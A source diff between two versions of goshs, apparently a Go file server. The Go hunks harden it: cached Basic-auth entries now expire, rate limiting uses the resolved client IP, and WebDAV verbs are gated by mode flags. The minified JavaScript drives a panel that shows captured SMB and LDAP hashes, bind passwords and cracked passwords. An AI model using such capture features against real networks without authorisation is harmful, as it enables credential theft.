-       "github.com/stretchr/testify/require"
 )
 
 // newTestFileServer returns a minimal FileServer wired to a running Hub so 
that
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/httpserver/helper.go 
new/goshs-2.1.0/httpserver/helper.go
--- old/goshs-2.0.9/httpserver/helper.go        2026-05-27 15:49:51.000000000 
+0200
+++ new/goshs-2.1.0/httpserver/helper.go        2026-05-29 12:20:25.000000000 
+0200
@@ -14,8 +14,8 @@
        "path/filepath"
        "strings"
 
-       "goshs.de/goshs/v2/logger"
        "github.com/skip2/go-qrcode"
+       "goshs.de/goshs/v2/logger"
 )
 
 // sanitizePath validates that requestPath stays within root after decoding and
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/httpserver/integration_conv_test.go 
new/goshs-2.1.0/httpserver/integration_conv_test.go
--- old/goshs-2.0.9/httpserver/integration_conv_test.go 2026-05-27 
15:49:51.000000000 +0200
+++ new/goshs-2.1.0/httpserver/integration_conv_test.go 2026-05-29 
12:20:25.000000000 +0200
@@ -13,12 +13,12 @@
        "strings"
        "testing"
 
+       "github.com/stretchr/testify/require"
+       "golang.org/x/crypto/bcrypt"
        "goshs.de/goshs/v2/clipboard"
        "goshs.de/goshs/v2/options"
        "goshs.de/goshs/v2/webhook"
        "goshs.de/goshs/v2/ws"
-       "github.com/stretchr/testify/require"
-       "golang.org/x/crypto/bcrypt"
 )
 
 // ─── NoDelete tests 
──────────────────────────────────────────────────────────
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/httpserver/middleware.go 
new/goshs-2.1.0/httpserver/middleware.go
--- old/goshs-2.0.9/httpserver/middleware.go    2026-05-27 15:49:51.000000000 
+0200
+++ new/goshs-2.1.0/httpserver/middleware.go    2026-05-29 12:20:25.000000000 
+0200
@@ -29,19 +29,18 @@
        }
        authVal = auth[len("Basic "):]
 
-       // Fast path: already verified this credential in this instance
+       // Fast path: already verified this credential recently (5-minute TTL)
        fs.authCacheMu.RLock()
-       cached := fs.authCache[authVal]
+       exp, cached := fs.authCache[authVal]
        fs.authCacheMu.RUnlock()
-       if cached {
+       if cached && time.Now().Before(exp) {
                return authVal, true
        }
 
-       // Rate-limit check: reject IPs that have exceeded the failure threshold
-       clientIP, _, _ := net.SplitHostPort(r.RemoteAddr)
-       if clientIP == "" {
-               clientIP = r.RemoteAddr
-       }
+       // Rate-limit check: reject IPs that have exceeded the failure 
threshold.
+       // Use the resolved client IP (honours X-Forwarded-For for trusted 
proxies)
+       // so that clients behind a reverse proxy each have their own counter.
+       clientIP := GetClientIP(r, fs.Whitelist)
        fs.authFailMu.Lock()
        if fs.authFailures == nil {
                fs.authFailures = make(map[string]*authFailEntry)
@@ -94,9 +93,9 @@
 
        fs.authCacheMu.Lock()
        if fs.authCache == nil {
-               fs.authCache = make(map[string]bool)
+               fs.authCache = make(map[string]time.Time)
        }
-       fs.authCache[authVal] = true
+       fs.authCache[authVal] = time.Now().Add(5 * time.Minute)
        fs.authCacheMu.Unlock()
 
        return authVal, true
@@ -196,7 +195,7 @@
                return r.RemoteAddr
        }
 
-       if whitelist.IsTrustedProxy(host) {
+       if whitelist != nil && whitelist.IsTrustedProxy(host) {
                // Check X-Forwarded-For header first (for proxies)
                xff := r.Header.Get("X-Forwarded-For")
                if xff != "" {
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/httpserver/middleware_test.go 
new/goshs-2.1.0/httpserver/middleware_test.go
--- old/goshs-2.0.9/httpserver/middleware_test.go       2026-05-27 
15:49:51.000000000 +0200
+++ new/goshs-2.1.0/httpserver/middleware_test.go       2026-05-29 
12:20:25.000000000 +0200
@@ -7,6 +7,7 @@
        "net/http/httptest"
        "runtime"
        "testing"
+       "time"
 
        "github.com/stretchr/testify/require"
        "golang.org/x/crypto/bcrypt"
@@ -30,7 +31,7 @@
                User:        user,
                Pass:        pass,
                SharedLinks: map[string]SharedLink{},
-               authCache:   make(map[string]bool),
+               authCache:   make(map[string]time.Time),
        }
 }
 
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/httpserver/server.go 
new/goshs-2.1.0/httpserver/server.go
--- old/goshs-2.0.9/httpserver/server.go        2026-05-27 15:49:51.000000000 
+0200
+++ new/goshs-2.1.0/httpserver/server.go        2026-05-29 12:20:25.000000000 
+0200
@@ -92,7 +92,7 @@
                MaxUpload:    opts.MaxUploadSize,
                Options:      opts,
                CSRFToken:    generateCSRFToken(),
-               authCache:    make(map[string]bool),
+               authCache:    make(map[string]time.Time),
                authFailures: make(map[string]*authFailEntry),
        }
 
@@ -226,12 +226,34 @@
                        },
                }
 
+               // Enforce mode flags on WebDAV verbs
+               wdGuard := http.HandlerFunc(func(w http.ResponseWriter, r 
*http.Request) {
+                       switch r.Method {
+                       case http.MethodPut, "MKCOL", "MOVE", "COPY":
+                               if fs.ReadOnly {
+                                       http.Error(w, "read-only", 
http.StatusForbidden)
+                                       return
+                               }
+                       case http.MethodDelete:
+                               if fs.ReadOnly || fs.UploadOnly || fs.NoDelete {
+                                       http.Error(w, "delete disabled", 
http.StatusForbidden)
+                                       return
+                               }
+                       case http.MethodGet, http.MethodHead:
+                               if fs.UploadOnly {
+                                       http.Error(w, "upload-only", 
http.StatusForbidden)
+                                       return
+                               }
+                       }
+                       wdHandler.ServeHTTP(w, r)
+               })
+
                // Check Basic Auth and use middleware
                if fs.User != "" || fs.Pass != "" {
-                       authHandler := fs.BasicAuthMiddleware(wdHandler)
+                       authHandler := fs.BasicAuthMiddleware(wdGuard)
                        mux.Handle("/", authHandler)
                } else {
-                       mux.Handle("/", wdHandler)
+                       mux.Handle("/", wdGuard)
                }
                addr = net.JoinHostPort(fs.IP, strconv.Itoa(fs.WebdavPort))
        default:
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/httpserver/static/js/main.min.js 
new/goshs-2.1.0/httpserver/static/js/main.min.js
--- old/goshs-2.0.9/httpserver/static/js/main.min.js    2026-05-27 
15:49:51.000000000 +0200
+++ new/goshs-2.1.0/httpserver/static/js/main.min.js    2026-05-29 
12:20:25.000000000 +0200
@@ -1,10 +1,10 @@
-(()=>{var 
r={sortCol:"name",sortAsc:!0,dnsEvents:[],smtpEvents:[],smbEvents:[],ldapEvents:[],httpEvents:[],dnsCnt:{total:0,A:0,MX:0,TXT:0,other:0},httpCnt:0,pendingUploads:[],shareTarget:"",ws:null,theme:localStorage.getItem("goshs-theme")||"dark"};function
 d(e){return 
String(e).replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/>/g,"&gt;").replace(/"/g,"&quot;")}function
 T(){let 
e=document.getElementById("collab-badge"),t=r.httpCnt+r.dnsEvents.length+r.smtpEvents.length+r.smbEvents.length+r.ldapEvents.length;e.textContent=t,t>0?e.classList.add("show"):e.classList.remove("show")}function
 w(e,t){document.getElementById(e).textContent=t}function I(e,t){let s=new 
Blob([JSON.stringify(e,null,2)],{type:"application/json"}),o=URL.createObjectURL(s),n=document.createElement("a");n.href=o,n.download=t,document.body.appendChild(n),n.click(),document.body.removeChild(n),URL.revokeObjectURL(o)}function
 D(e){return e<1024?e+" B":e<1048576?(e/1024).toFixed(1)+" 
KB":e<1073741824?(e/1048576).toFi
 xed(1)+" MB":(e/1073741824).toFixed(2)+" GB"}var le=()=>{};function 
de(e){le=e}function 
S(e){document.getElementById(e).classList.add("open")}function 
A(e){document.getElementById(e).classList.remove("open"),e==="share-modal"&&location.reload()}function
 m(e,t="success"){let s={success:'<svg class="toast-icon" viewBox="0 0 24 24" 
fill="none" stroke="currentColor" stroke-width="2.5"><polyline points="20 6 9 
17 4 12"/></svg>',error:'<svg class="toast-icon" viewBox="0 0 24 24" 
fill="none" stroke="currentColor" stroke-width="2.5"><circle cx="12" cy="12" 
r="10"/><line x1="15" y1="9" x2="9" y2="15"/><line x1="9" y1="9" x2="15" 
y2="15"/></svg>',warn:'<svg class="toast-icon" viewBox="0 0 24 24" fill="none" 
stroke="currentColor" stroke-width="2.5"><path d="M10.29 3.86L1.82 18a2 2 0 
001.71 3h16.94a2 2 0 001.71-3L13.71 3.86a2 2 0 00-3.42 0z"/><line x1="12" 
y1="9" x2="12" y2="13"/><line x1="12" y1="17" x2="12.01" 
y2="17"/></svg>'},o=document.createElement("div");o.className=`toast 
${t}`,o.innerH
 
TML=(s[t]||"")+d(e),document.getElementById("toast-container").appendChild(o),setTimeout(()=>{o.style.opacity="0",o.style.transition="opacity
 
.3s",setTimeout(()=>o.remove(),300)},3500)}document.addEventListener("click",e=>{e.target.classList.contains("modal-backdrop")&&A(e.target.id)});document.addEventListener("keydown",e=>{e.key==="Escape"&&(document.querySelectorAll(".modal-backdrop.open").forEach(t=>t.classList.remove("open")),le())});function
 pe(e){if(!/^[\[{]/.test(e.trim()))return null;try{let 
t=JSON.parse(e),s=_(t);return JSON.stringify(s,null,2)}catch{return 
null}}function _(e){if(Array.isArray(e))return e.map(_);if(e!==null&&typeof 
e=="object"){let t={};for(let[s,o]of Object.entries(e))t[s]=_(o);return 
t}return typeof e=="string"?It(e):e}function It(e){if(!e||e.length<8)return 
e;let 
t=Y(e);if(t)try{return{__decoded:"JWT",__value:JSON.parse(t)}}catch{return{__decoded:"JWT",__value:t}}let
 s=q(e);if(s){let 
o=(()=>{try{return/^[\[{]/.test(s.trim())?JSON.parse(s):null}catch{ret
 urn null}})();return 
o?{__decoded:"base64\u2192JSON",__value:_(o)}:{__decoded:"base64",__value:s}}return
 e}function q(e){if(!e||e.length<8)return null;let 
t=e.replace(/[\r\n]/g,""),s=/^[A-Za-z0-9+/]+=*$/.test(t),o=/^[A-Za-z0-9\-_]+=*$/.test(t);if(!s&&!o)return
 null;let 
n=t.replace(/-/g,"+").replace(/_/g,"/"),a=n.length%4,c=a===0?n:n+"=".repeat(4-a);try{let
 i=atob(c),l=0;for(let p=0;p<i.length;p++){let 
h=i.charCodeAt(p);(h<9||h>13&&h<32||h>=127)&&l++}return 
i.length>0&&l/i.length>.1?null:i}catch{return null}}function H(e){let 
t=pe(e);if(t)return{text:t,tag:"JSON"};let 
s=Y(e);if(s)return{text:s,tag:"JWT"};let o=q(e);if(o){let n=pe(o);return 
n?{text:n,tag:"base64 \u2192 JSON"}:{text:o,tag:"base64"}}return null}function 
Pt(e){if(!e||!e.trim())return{text:e,tag:null};let 
t=e.trim(),s=H(t);if(s)return 
s;if(t.includes("=")&&!t.startsWith("{")&&!t.startsWith("[")){let 
n=t.split("&").map(c=>{let i=c.indexOf("=");if(i===-1)return 
decodeURIComponent(c);let l=decodeURIComponent(c.slice(0,i)),p=
 decodeURIComponent(c.slice(i+1)),h=H(p);return h?`${l} [${h.tag}] = 
${h.text.includes(`
+(()=>{var 
r={sortCol:"name",sortAsc:!0,dnsEvents:[],smtpEvents:[],smbEvents:[],ldapEvents:[],httpEvents:[],dnsCnt:{total:0,A:0,MX:0,TXT:0,other:0},httpCnt:0,pendingUploads:[],shareTarget:"",ws:null,theme:localStorage.getItem("goshs-theme")||"dark"};function
 d(e){return 
String(e).replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/>/g,"&gt;").replace(/"/g,"&quot;")}function
 T(){let 
e=document.getElementById("collab-badge"),t=r.httpCnt+r.dnsEvents.length+r.smtpEvents.length+r.smbEvents.length+r.ldapEvents.length;e.textContent=t,t>0?e.classList.add("show"):e.classList.remove("show")}function
 w(e,t){document.getElementById(e).textContent=t}function I(e,t){let s=new 
Blob([JSON.stringify(e,null,2)],{type:"application/json"}),o=URL.createObjectURL(s),n=document.createElement("a");n.href=o,n.download=t,document.body.appendChild(n),n.click(),document.body.removeChild(n),URL.revokeObjectURL(o)}function
 R(e){return e<1024?e+" B":e<1048576?(e/1024).toFixed(1)+" 
KB":e<1073741824?(e/1048576).toFi
 xed(1)+" MB":(e/1073741824).toFixed(2)+" GB"}var le=()=>{};function 
de(e){le=e}function 
S(e){document.getElementById(e).classList.add("open")}function 
A(e){document.getElementById(e).classList.remove("open"),e==="share-modal"&&location.reload()}function
 m(e,t="success"){let s={success:'<svg class="toast-icon" viewBox="0 0 24 24" 
fill="none" stroke="currentColor" stroke-width="2.5"><polyline points="20 6 9 
17 4 12"/></svg>',error:'<svg class="toast-icon" viewBox="0 0 24 24" 
fill="none" stroke="currentColor" stroke-width="2.5"><circle cx="12" cy="12" 
r="10"/><line x1="15" y1="9" x2="9" y2="15"/><line x1="9" y1="9" x2="15" 
y2="15"/></svg>',warn:'<svg class="toast-icon" viewBox="0 0 24 24" fill="none" 
stroke="currentColor" stroke-width="2.5"><path d="M10.29 3.86L1.82 18a2 2 0 
001.71 3h16.94a2 2 0 001.71-3L13.71 3.86a2 2 0 00-3.42 0z"/><line x1="12" 
y1="9" x2="12" y2="13"/><line x1="12" y1="17" x2="12.01" 
y2="17"/></svg>'},o=document.createElement("div");o.className=`toast 
${t}`,o.innerH
 
TML=(s[t]||"")+d(e),document.getElementById("toast-container").appendChild(o),setTimeout(()=>{o.style.opacity="0",o.style.transition="opacity
 
.3s",setTimeout(()=>o.remove(),300)},3500)}document.addEventListener("click",e=>{e.target.classList.contains("modal-backdrop")&&A(e.target.id)});document.addEventListener("keydown",e=>{e.key==="Escape"&&(document.querySelectorAll(".modal-backdrop.open").forEach(t=>t.classList.remove("open")),le())});function
 pe(e){if(!/^[\[{]/.test(e.trim()))return null;try{let 
t=JSON.parse(e),s=_(t);return JSON.stringify(s,null,2)}catch{return 
null}}function _(e){if(Array.isArray(e))return e.map(_);if(e!==null&&typeof 
e=="object"){let t={};for(let[s,o]of Object.entries(e))t[s]=_(o);return 
t}return typeof e=="string"?It(e):e}function It(e){if(!e||e.length<8)return 
e;let 
t=Y(e);if(t)try{return{__decoded:"JWT",__value:JSON.parse(t)}}catch{return{__decoded:"JWT",__value:t}}let
 s=q(e);if(s){let 
o=(()=>{try{return/^[\[{]/.test(s.trim())?JSON.parse(s):null}catch{ret
 urn null}})();return 
o?{__decoded:"base64\u2192JSON",__value:_(o)}:{__decoded:"base64",__value:s}}return
 e}function q(e){if(!e||e.length<8)return null;let 
t=e.replace(/[\r\n]/g,""),s=/^[A-Za-z0-9+/]+=*$/.test(t),o=/^[A-Za-z0-9\-_]+=*$/.test(t);if(!s&&!o)return
 null;let 
n=t.replace(/-/g,"+").replace(/_/g,"/"),a=n.length%4,c=a===0?n:n+"=".repeat(4-a);try{let
 i=atob(c),l=0;for(let p=0;p<i.length;p++){let 
h=i.charCodeAt(p);(h<9||h>13&&h<32||h>=127)&&l++}return 
i.length>0&&l/i.length>.1?null:i}catch{return null}}function D(e){let 
t=pe(e);if(t)return{text:t,tag:"JSON"};let 
s=Y(e);if(s)return{text:s,tag:"JWT"};let o=q(e);if(o){let n=pe(o);return 
n?{text:n,tag:"base64 \u2192 JSON"}:{text:o,tag:"base64"}}return null}function 
Pt(e){if(!e||!e.trim())return{text:e,tag:null};let 
t=e.trim(),s=D(t);if(s)return 
s;if(t.includes("=")&&!t.startsWith("{")&&!t.startsWith("[")){let 
n=t.split("&").map(c=>{let i=c.indexOf("=");if(i===-1)return 
decodeURIComponent(c);let l=decodeURIComponent(c.slice(0,i)),p=
 decodeURIComponent(c.slice(i+1)),h=D(p);return h?`${l} [${h.tag}] = 
${h.text.includes(`
 `)?`
 `+h.text.split(`
 `).map(u=>"  "+u).join(`
 `):h.text}`:`${l} = ${p}`}).join(`
 
-`),a=t.split("&").some(c=>{let i=c.indexOf("=");return 
i===-1?!1:H(decodeURIComponent(c.slice(i+1)))!==null});return{text:n,tag:a?"form-decoded":null}}return{text:e,tag:null}}function
 Nt(e){if(!e)return"";try{return e.split("&").map(t=>{let 
s=t.indexOf("=");if(s===-1)return decodeURIComponent(t);let 
o=decodeURIComponent(t.slice(0,s)),n=decodeURIComponent(t.slice(s+1)),a=H(n);if(!a)return`${o}
 = ${n}`;let c=` [${a.tag}]`,i=a.text.includes(`
+`),a=t.split("&").some(c=>{let i=c.indexOf("=");return 
i===-1?!1:D(decodeURIComponent(c.slice(i+1)))!==null});return{text:n,tag:a?"form-decoded":null}}return{text:e,tag:null}}function
 Nt(e){if(!e)return"";try{return e.split("&").map(t=>{let 
s=t.indexOf("=");if(s===-1)return decodeURIComponent(t);let 
o=decodeURIComponent(t.slice(0,s)),n=decodeURIComponent(t.slice(s+1)),a=D(n);if(!a)return`${o}
 = ${n}`;let c=` [${a.tag}]`,i=a.text.includes(`
 `)?`
 `+a.text.split(`
 `).map(l=>"  "+l).join(`
@@ -15,7 +15,7 @@
 `)?`
 `+n.text.split(`
 `).map(c=>"    "+c).join(`
-`):n.text;return`${t} [${n.tag}]: ${a}`}return`${t}: ${s}`}let 
o=H(s);if(o){let n=o.text.includes(`
+`):n.text;return`${t} [${n.tag}]: ${a}`}return`${t}: ${s}`}let 
o=D(s);if(o){let n=o.text.includes(`
 `)?`
 `+o.text.split(`
 `).map(a=>"    "+a).join(`
@@ -65,11 +65,11 @@
           <div class="http-detail-value">${d(n.timestamp?new 
Date(n.timestamp).toLocaleString():"\u2014")}</div>
         </div>
       </div>
-    </td>`,t.appendChild(b)})}function me(e,t){let 
s=document.getElementById(t);if(!s)return;let 
o=s.style.display!=="none";s.style.display=o?"none":"",e.textContent=o?"\u25BE":"\u25B4",e.closest("tr").classList.toggle("expanded",!o)}function
 ue(){I(r.httpEvents,"goshs-http-log.json")}function 
he(){I(r.dnsEvents,"goshs-dns-log.json")}function 
fe(){I(r.smtpEvents,"goshs-smtp-log.json")}function 
ye(){I(r.smbEvents,"goshs-smb-log.json")}function 
be(){I(r.ldapEvents,"goshs-ldap-log.json")}function ge(){I({generatedAt:new 
Date().toISOString(),http:r.httpEvents,dns:r.dnsEvents,smtp:r.smtpEvents,smb:r.smbEvents,ldap:r.ldapEvents},"goshs-all-logs.json")}function
 ve(){J()}function 
we(){r.httpEvents=[],r.httpCnt=0,w("http-badge","0"),r.ws.send(JSON.stringify({type:"clearHTTP"})),T(),J()}function
 
Dt(e){r.dnsEvents.unshift(e),r.dnsCnt.total++,e.qtype==="A"?r.dnsCnt.A++:e.qtype==="MX"?r.dnsCnt.MX++:e.qtype==="TXT"?r.dnsCnt.TXT++:r.dnsCnt.other++,w("dns-badge",r.dnsEvents.length),w("dns-cnt-total
 
",r.dnsCnt.total),w("dns-cnt-a",r.dnsCnt.A),w("dns-cnt-mx",r.dnsCnt.MX),w("dns-cnt-txt",r.dnsCnt.TXT),w("dns-cnt-other",r.dnsCnt.other),T(),j()}function
 
Ht(e){return{A:"qt-A",AAAA:"qt-AAAA",MX:"qt-MX",TXT:"qt-TXT",NS:"qt-NS",CNAME:"qt-CNAME"}[e]||"qt-other"}function
 jt(e){let 
t=(e||"").replace(/\.$/,""),s=t.split(".");if(s.length<=2)return`<span 
class="qname">${d(t)}</span>`;let 
o=d(s.slice(0,-2).join(".")),n=d(s.slice(-2).join("."));return`<span 
class="qname">${o}.<span class="qname-tld">${n}</span></span>`}function j(){let 
e=(document.getElementById("dns-search").value||"").toLowerCase(),t=document.getElementById("dns-tbody"),s=document.getElementById("dns-empty-row"),o=r.dnsEvents.filter(n=>!e||(n.name||"").toLowerCase().includes(e)||(n.qtype||"").toLowerCase().includes(e)||(n.source||"").toLowerCase().includes(e));s.style.display=o.length?"none":"",t.querySelectorAll("tr.data-row").forEach(n=>n.remove()),o.slice(0,500).forEach((n,a)=>{let
 c=document.createElement("tr");c.classNa
 me="data-row"+(a===0&&!e?" new-row":""),c.innerHTML=`
+    </td>`,t.appendChild(b)})}function me(e,t){let 
s=document.getElementById(t);if(!s)return;let 
o=s.style.display!=="none";s.style.display=o?"none":"",e.textContent=o?"\u25BE":"\u25B4",e.closest("tr").classList.toggle("expanded",!o)}function
 ue(){I(r.httpEvents,"goshs-http-log.json")}function 
he(){I(r.dnsEvents,"goshs-dns-log.json")}function 
fe(){I(r.smtpEvents,"goshs-smtp-log.json")}function 
ye(){I(r.smbEvents,"goshs-smb-log.json")}function 
be(){I(r.ldapEvents,"goshs-ldap-log.json")}function ge(){I({generatedAt:new 
Date().toISOString(),http:r.httpEvents,dns:r.dnsEvents,smtp:r.smtpEvents,smb:r.smbEvents,ldap:r.ldapEvents},"goshs-all-logs.json")}function
 ve(){J()}function 
we(){r.httpEvents=[],r.httpCnt=0,w("http-badge","0"),r.ws.send(JSON.stringify({type:"clearHTTP"})),T(),J()}function
 
Dt(e){r.dnsEvents.unshift(e),r.dnsCnt.total++,e.qtype==="A"?r.dnsCnt.A++:e.qtype==="MX"?r.dnsCnt.MX++:e.qtype==="TXT"?r.dnsCnt.TXT++:r.dnsCnt.other++,w("dns-badge",r.dnsEvents.length),w("dns-cnt-total
 
",r.dnsCnt.total),w("dns-cnt-a",r.dnsCnt.A),w("dns-cnt-mx",r.dnsCnt.MX),w("dns-cnt-txt",r.dnsCnt.TXT),w("dns-cnt-other",r.dnsCnt.other),T(),H()}function
 
Ht(e){return{A:"qt-A",AAAA:"qt-AAAA",MX:"qt-MX",TXT:"qt-TXT",NS:"qt-NS",CNAME:"qt-CNAME"}[e]||"qt-other"}function
 jt(e){let 
t=(e||"").replace(/\.$/,""),s=t.split(".");if(s.length<=2)return`<span 
class="qname">${d(t)}</span>`;let 
o=d(s.slice(0,-2).join(".")),n=d(s.slice(-2).join("."));return`<span 
class="qname">${o}.<span class="qname-tld">${n}</span></span>`}function H(){let 
e=(document.getElementById("dns-search").value||"").toLowerCase(),t=document.getElementById("dns-tbody"),s=document.getElementById("dns-empty-row"),o=r.dnsEvents.filter(n=>!e||(n.name||"").toLowerCase().includes(e)||(n.qtype||"").toLowerCase().includes(e)||(n.source||"").toLowerCase().includes(e));s.style.display=o.length?"none":"",t.querySelectorAll("tr.data-row").forEach(n=>n.remove()),o.slice(0,500).forEach((n,a)=>{let
 c=document.createElement("tr");c.classNa
 me="data-row"+(a===0&&!e?" new-row":""),c.innerHTML=`
        <td class="dns-ts">${n.timestamp?new 
Date(n.timestamp).toLocaleTimeString():""}</td>
        <td><span class="qtype-tag 
${Ht(n.qtype||"")}">${d(n.qtype||"?")}</span></td>
        <td>${jt(n.name)}</td>
-       <td 
class="dns-source">${d(n.source||"")}</td>`,t.insertBefore(c,s.nextSibling||null),t.appendChild(c)})}function
 
xe(){r.dnsEvents=[],r.dnsCnt={total:0,A:0,MX:0,TXT:0,other:0},["total","a","mx","txt","other"].forEach(e=>{let
 
t=document.getElementById("dns-cnt-"+e);t&&(t.textContent="0")}),w("dns-badge","0"),r.ws.send(JSON.stringify({type:"clearDNS"})),T(),j()}function
 
Ut(e){console.log(e),r.smbEvents.unshift(e),w("smb-badge",r.smbEvents.length),T(),U()}function
 U(){let 
e=(document.getElementById("smb-search").value||"").toLowerCase(),t=document.getElementById("smb-inbox"),s=document.getElementById("smb-empty"),o=r.smbEvents.filter(n=>!e||(n.username||"").toLowerCase().includes(e)||(n.domain||"").toLowerCase().includes(e)||(n.source||"").toLowerCase().includes(e)||(n.hash||"").toLowerCase().includes(e));s.style.display=o.length?"none":"flex",t.querySelectorAll(".smb-card").forEach(n=>n.remove()),o.slice(0,500).forEach((n,a)=>{let
 c=document.createElement("div"),i=a===0&&!e;c.classNa
 me="smb-card"+(i?" new-card":"")+(n.crackedPassword?" cracked-card":"");let 
l=n.timestamp?new 
Date(n.timestamp).toLocaleTimeString():"",p=[n.username,n.domain].filter(Boolean).join("@")||"unknown",h="smb-hash-"+Math.random().toString(36).slice(2),u=document.createElement("div");u.className="smb-card-header",u.innerHTML=`
+       <td 
class="dns-source">${d(n.source||"")}</td>`,t.insertBefore(c,s.nextSibling||null),t.appendChild(c)})}function
 
xe(){r.dnsEvents=[],r.dnsCnt={total:0,A:0,MX:0,TXT:0,other:0},["total","a","mx","txt","other"].forEach(e=>{let
 
t=document.getElementById("dns-cnt-"+e);t&&(t.textContent="0")}),w("dns-badge","0"),r.ws.send(JSON.stringify({type:"clearDNS"})),T(),H()}function
 
Ut(e){console.log(e),r.smbEvents.unshift(e),w("smb-badge",r.smbEvents.length),T(),j()}function
 j(){let 
e=(document.getElementById("smb-search").value||"").toLowerCase(),t=document.getElementById("smb-inbox"),s=document.getElementById("smb-empty"),o=r.smbEvents.filter(n=>!e||(n.username||"").toLowerCase().includes(e)||(n.domain||"").toLowerCase().includes(e)||(n.source||"").toLowerCase().includes(e)||(n.hash||"").toLowerCase().includes(e));s.style.display=o.length?"none":"flex",t.querySelectorAll(".smb-card").forEach(n=>n.remove()),o.slice(0,500).forEach((n,a)=>{let
 c=document.createElement("div"),i=a===0&&!e;c.classNa
 me="smb-card"+(i?" new-card":"")+(n.crackedPassword?" cracked-card":"");let 
l=n.timestamp?new 
Date(n.timestamp).toLocaleTimeString():"",p=[n.username,n.domain].filter(Boolean).join("@")||"unknown",h="smb-hash-"+Math.random().toString(36).slice(2),u=document.createElement("div");u.className="smb-card-header",u.innerHTML=`
        <span class="smb-badge-type">${d(n.hashType||"\u2014")}</span>
        ${n.crackedPassword?'<span class="smb-badge-cracked">cracked</span>':""}
        <div class="smb-header-meta">
@@ -109,7 +109,7 @@
            </button>
          </div>
        </div>`:""}
-     `;let 
b=C.querySelector(".smb-copy-btn");b&&(b.onclick=f=>{f.stopPropagation();let 
y=document.getElementById(h)?.textContent||"";navigator.clipboard.writeText(y).then(()=>m("Hash
 
copied!","ok"))}),u.onclick=()=>c.classList.toggle("open"),c.appendChild(u),c.appendChild(C),t.appendChild(c)})}function
 
Ce(){r.smbEvents=[],w("smb-badge","0"),r.ws.send(JSON.stringify({type:"clearSMB"})),T(),U()}function
 
Ft(e){r.ldapEvents.unshift(e),w("ldap-badge",r.ldapEvents.length),T(),F()}function
 F(){let 
e=(document.getElementById("ldap-search").value||"").toLowerCase(),t=document.getElementById("ldap-inbox"),s=document.getElementById("ldap-empty"),o=r.ldapEvents.filter(n=>!e||(n.dn||"").toLowerCase().includes(e)||(n.password||"").toLowerCase().includes(e)||(n.username||"").toLowerCase().includes(e)||(n.domain||"").toLowerCase().includes(e)||(n.hash||"").toLowerCase().includes(e)||(n.crackedPassword||"").toLowerCase().includes(e)||(n.source||"").toLowerCase().includes(e));s.style.display=o.lengt
 
h?"none":"flex",t.querySelectorAll(".ldap-card").forEach(n=>n.remove()),o.slice(0,500).forEach((n,a)=>{let
 c=document.createElement("div"),i=a===0&&!e;c.className="smb-card 
ldap-card"+(i?" new-card":"")+(n.crackedPassword?" cracked-card":"");let 
l=n.timestamp?new 
Date(n.timestamp).toLocaleTimeString():"",p=n.operation==="bind",h=p?"var(--green)":"var(--purple)",u=document.createElement("div");u.className="smb-card-header",u.innerHTML=`
+     `;let 
b=C.querySelector(".smb-copy-btn");b&&(b.onclick=f=>{f.stopPropagation();let 
y=document.getElementById(h)?.textContent||"";navigator.clipboard.writeText(y).then(()=>m("Hash
 
copied!","ok"))}),u.onclick=()=>c.classList.toggle("open"),c.appendChild(u),c.appendChild(C),t.appendChild(c)})}function
 
Ce(){r.smbEvents=[],w("smb-badge","0"),r.ws.send(JSON.stringify({type:"clearSMB"})),T(),j()}function
 
Ft(e){r.ldapEvents.unshift(e),w("ldap-badge",r.ldapEvents.length),T(),U()}function
 U(){let 
e=(document.getElementById("ldap-search").value||"").toLowerCase(),t=document.getElementById("ldap-inbox"),s=document.getElementById("ldap-empty"),o=r.ldapEvents.filter(n=>!e||(n.dn||"").toLowerCase().includes(e)||(n.password||"").toLowerCase().includes(e)||(n.username||"").toLowerCase().includes(e)||(n.domain||"").toLowerCase().includes(e)||(n.hash||"").toLowerCase().includes(e)||(n.crackedPassword||"").toLowerCase().includes(e)||(n.source||"").toLowerCase().includes(e));s.style.display=o.lengt
 
h?"none":"flex",t.querySelectorAll(".ldap-card").forEach(n=>n.remove()),o.slice(0,500).forEach((n,a)=>{let
 c=document.createElement("div"),i=a===0&&!e;c.className="smb-card 
ldap-card"+(i?" new-card":"")+(n.crackedPassword?" cracked-card":"");let 
l=n.timestamp?new 
Date(n.timestamp).toLocaleTimeString():"",p=n.operation==="bind",h=p?"var(--green)":"var(--purple)",u=document.createElement("div");u.className="smb-card-header",u.innerHTML=`
       <span class="smb-badge-type" 
style="background:${h}">${d(n.operation||"\u2014")}</span>
       <div class="smb-header-meta">
         <span class="smb-user-summary">${d(n.dn||"anonymous")}</span>
@@ -201,7 +201,7 @@
           </button>
         </div>
       </div>`:""}
-    
`,$.querySelector(".ldap-copy-hash")?.addEventListener("click",k=>{k.stopPropagation(),navigator.clipboard.writeText(document.getElementById(y)?.textContent||"").then(()=>m("Hash
 
copied!","ok"))}),$.querySelector(".ldap-copy-dn")?.addEventListener("click",k=>{k.stopPropagation(),navigator.clipboard.writeText(document.getElementById(f)?.textContent||"").then(()=>m("DN
 
copied!","ok"))}),$.querySelector(".ldap-copy-pw")?.addEventListener("click",k=>{k.stopPropagation(),navigator.clipboard.writeText(document.getElementById(b)?.textContent||"").then(()=>m("Password
 
copied!","ok"))}),u.onclick=()=>c.classList.toggle("open"),c.appendChild(u),c.appendChild($),t.appendChild(c)})}function
 
Se(){r.ldapEvents=[],w("ldap-badge","0"),r.ws.send(JSON.stringify({type:"clearLDAP"})),T(),F()}function
 
Wt(e){r.smtpEvents.unshift(e),w("smtp-badge",r.smtpEvents.length),T(),W()}function
 _t(e){return e?e.startsWith("image/")?'<svg class="attach-icon img" viewBox="0 
0 24 24" fill="none" stroke="currentCol
 or" stroke-width="2"><rect x="3" y="3" width="18" height="18" rx="2"/><circle 
